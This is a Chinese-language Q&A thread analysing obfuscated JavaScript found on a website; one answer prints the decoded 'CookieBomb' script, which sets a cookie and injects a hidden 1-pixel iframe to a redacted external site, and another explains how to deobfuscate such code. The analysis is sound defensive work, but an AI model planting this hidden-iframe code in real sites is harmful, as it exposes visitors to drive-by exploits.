Question

我在一个网站上发现了这个代码，我被要求提供帮助，这引起了各种各样的混乱。起初它被重定向到另一个站点，我想尝试提供某种有效载荷。我不知道如何解密这个，我非常好奇。有人能指出我正确的方向吗？

对Google进行部分搜索会发现很多网站似乎都有这个搜索结果。

编辑：我似乎无法发布整个内容，所以我把它粘贴到了一个感兴趣的人的pastebin！ http://pastebin.com/w1eH1JkB

Answer 1

经过一点修补，我想到了这个：

var code='';
for(i=0;i<a.length;i++) {
  code = code + String.fromCharCode(parseInt(a[i],8)-4);
}
console.log(hax);

解码“a”并输出：

 function zzzfff() {
 var y = document.createElement('iframe');

 y.src = 'REDACTED';
 y.style.position = 'absolute';
 y.style.border = '0';
 y.style.height = '1px';
 y.style.width = '1px';
 y.style.left = '1px';
 y.style.top = '1px';

 if (!document.getElementById('y')) {
 document.write('<div id=\'y\'></div>');
 document.getElementById('y').appendChild(y);
 }
}
function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays=1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 {
 return null;
 }
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');

zzzfff();
}
}

此代码从其他网站加载iframe。看起来它只是跟踪访问者，但他们可以在iframe中做任何事情（比如尝试浏览器漏洞利用）。

Answer 2

加密内容的内容是所谓的"CookieBomb" - 攻击，最近经常使用。 Jeffrey Sambells的"Anatomy of a Hack"中详细解释了解密和激活。

找出这种“加密的JS-stuff”背后的原因的好方法是美化源并在debugger;之前放置eval()语句 - 编写或写入文档或者用console.log()替换那些并在JavaScript控制台中运行它们。如果它应该在客户端执行，那么恶意制造者必须始终包含解码机制。

JavaScript，混淆和cookie用于避免机器人意识到“感染”。然而，在网上搜索 document.body ++ 或 function zzzfff 会带来很多结果。

值得注意的是，thatss.fromCharCode.apply(ss,a) - 解码函数 - 只有eval - 如果zz之前的值为2并且document.body++成功或客户端的实现确实如此有问题;因此针对非常具体的事情（或者这个片段的编码器做错了什么）。

在网站上找到恶意代码，它有什么作用？

2 个答案: